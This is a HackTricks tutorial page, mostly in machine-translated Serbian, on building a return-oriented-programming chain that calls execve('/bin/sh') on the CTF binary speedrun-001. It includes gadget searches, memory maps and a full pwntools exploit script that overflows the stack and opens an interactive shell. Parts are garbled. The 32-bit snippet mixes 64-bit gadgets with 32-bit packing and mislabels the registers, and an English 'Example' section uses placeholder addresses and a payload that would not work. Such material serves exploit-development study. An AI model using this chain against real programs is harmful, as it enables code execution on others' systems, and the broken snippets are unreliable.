12 KiB
ROP - pozovi sys_execve
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu u HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @hacktricks_live.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Da biste pripremili poziv za syscall, potrebna je sledeća konfiguracija:
rax: 59 Specifikacija sys_execve
rdi: ptr na "/bin/sh" specifikacija fajla za izvršavanje
rsi: 0 specifikacija da nema prosleđenih argumenata
rdx: 0 specifikacija da nema prosleđenih okruženjskih promenljivih
Dakle, osnovno je potrebno negde napisati string /bin/sh
i zatim izvršiti syscall
(vodeći računa o potrebnoj popuni za kontrolu steka).
Kontrola registara
Hajde da počnemo sa pronalaženjem kako kontrolisati te registre:
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
Sa ovim adresama je moguće upisati sadržaj na stek i učitati ga u registre.
Upisivanje stringa
Upisivačka memorija
Prvo morate pronaći upisivo mesto u memoriji.
gef> vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
Upisivanje Stringa
Zatim morate pronaći način da upišete proizvoljni sadržaj na ovoj adresi
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
32 bita
ROP (Return Oriented Programming) - execv
ROP (Return Oriented Programming) je tehnika koja se koristi za izvršavanje koda u ciljnom sistemu koristeći postojeći izvršni kod. U ovom slučaju, koristimo ROP za izvršavanje funkcije execv
u ciljnom sistemu.
Funkcija execv
se koristi za izvršavanje programa u Linux operativnom sistemu. Ona prima dva argumenta: putanju do programa koji želimo da izvršimo i niz argumenata koji se prosleđuju tom programu.
Da bismo koristili ROP za izvršavanje funkcije execv
, prvo moramo pronaći odgovarajuće ROP gagdete. ROP gagdeti su mali delovi izvršnog koda koji se završavaju sa ret
instrukcijom. Kombinacijom ovih gagdeta možemo konstruisati lanac koji će izvršiti željenu funkciju.
U ovom slučaju, koristimo ROP gagdete za postavljanje argumenata funkcije execv
na odgovarajuće vrednosti. Zatim, koristimo ROP gagdete za pozivanje same funkcije execv
.
Kada konstruišemo ROP lanac, moramo voditi računa o redosledu argumenata i njihovim vrednostima. Takođe, moramo biti sigurni da su adrese ROP gagdeta tačne i da se nalaze u memoriji ciljnog sistema.
Nakon što konstruišemo ROP lanac, možemo ga ubaciti u ranjivu aplikaciju i izvršiti napad. Kada se ROP lanac izvrši, funkcija execv
će biti pozvana i program koji smo naveli će biti izvršen na ciljnom sistemu.
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop += popRdx # place value into EAX
rop += "/bin" # 4 bytes at a time
rop += popRax # place value into edx
rop += p32(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
64 bita
ROP (Return Oriented Programming) - Izvršavanje sistemskog poziva execv
ROP (Return Oriented Programming) je tehnika koja se koristi za izvršavanje zlonamernog koda u programu bez korišćenja tradicionalnih metoda ubrizgavanja koda. U ovom slučaju, koristićemo ROP za izvršavanje sistemskog poziva execv u 64-bitnom Linux okruženju.
Sistemski poziv execv se koristi za pokretanje novog procesa sa zadatim izvršnim fajlom. Da bismo izvršili ovaj sistemski poziv pomoću ROP-a, koristimo sledeće korake:
-
Pronalazimo odgovarajuće ROP gadgete - male delove koda koji se nalaze u programu i koji završavaju sa instrukcijom "ret" (povratak). Ovi gadgeti će nam omogućiti da izvršimo sistemski poziv execv.
-
Kreiramo ROP lanac - niz ROP gadgeta koji će se izvršiti jedan za drugim kako bi se postigao željeni cilj. U ovom slučaju, cilj nam je izvršavanje sistemskog poziva execv.
-
Postavljamo argumente - postavljamo argumente za sistemski poziv execv, kao što su putanja do izvršnog fajla i argumenti koje želimo da prosledimo novom procesu.
-
Izvršavamo ROP lanac - pokrećemo ROP lanac kako bismo izvršili sistemski poziv execv i pokrenuli novi proces.
Ova tehnika zahteva detaljno proučavanje ciljnog programa i identifikaciju odgovarajućih ROP gadgeta. Takođe je važno da se pravilno postave argumenti za sistemski poziv execv kako bi se postigao željeni rezultat.
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
Primer
Description
In this example, we will demonstrate how to use Return-Oriented Programming (ROP) and the execv
syscall to execute a shell command on a Linux system.
Requirements
To follow along with this example, you will need:
- A Linux system
- Basic knowledge of assembly language and C programming
Steps
-
Find the address of the
execv
function in the target binary. This can be done using tools likeobjdump
orreadelf
. -
Identify gadgets in the target binary that can be used for ROP. Gadgets are short sequences of instructions that end with a
ret
instruction. -
Craft a ROP chain that will call the
execv
function with the desired shell command as an argument. The ROP chain should include gadgets that set up the necessary registers for theexecv
syscall. -
Find the address of the shell command string in the target binary. This can be done using tools like
objdump
orreadelf
. -
Build the payload by concatenating the ROP chain and the address of the shell command string.
-
Execute the payload by overflowing a buffer in the target binary and redirecting the program's control flow to the ROP chain.
Example
Let's assume we have a vulnerable program that reads user input into a buffer without proper bounds checking. We want to exploit this vulnerability to execute the ls
command.
-
Find the address of the
execv
function in the target binary. Let's say the address is0xdeadbeef
. -
Identify gadgets in the target binary that can be used for ROP. Let's say we find two gadgets:
pop rdi; ret
at address0xcafebabe
pop rsi; ret
at address0xfeedface
-
Craft a ROP chain that will call the
execv
function with the desired shell command as an argument. The ROP chain would look like this:pop rdi; ret
gadget- address of the shell command string
pop rsi; ret
gadget- 0 (null value for the second argument)
- address of the
execv
function
-
Find the address of the shell command string in the target binary. Let's say the address is
0xabcdef01
. -
Build the payload by concatenating the ROP chain and the address of the shell command string:
payload = rop_chain + shell_command_address
-
Execute the payload by overflowing a buffer in the target binary and redirecting the program's control flow to the ROP chain. This can be done by providing input that exceeds the buffer's size and overwrites the return address with the address of the ROP chain.
When the vulnerable program returns, it will execute the ROP chain, which will set up the necessary registers and call the execv
function with the shell command as an argument. This will result in the execution of the desired shell command (ls
in this case).
from pwn import *
target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')
# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# Our syscall gadget
syscall = p64(0x40129c)
'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget
'''
Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall
'''
rop += popRax
rop += p64(0x3b)
rop += popRdi
rop += p64(0x6b6000)
rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)
rop += syscall
# Add the padding to the saved return address
payload = "0"*0x408 + rop
# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
Reference
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju oglašenu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @hacktricks_live.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.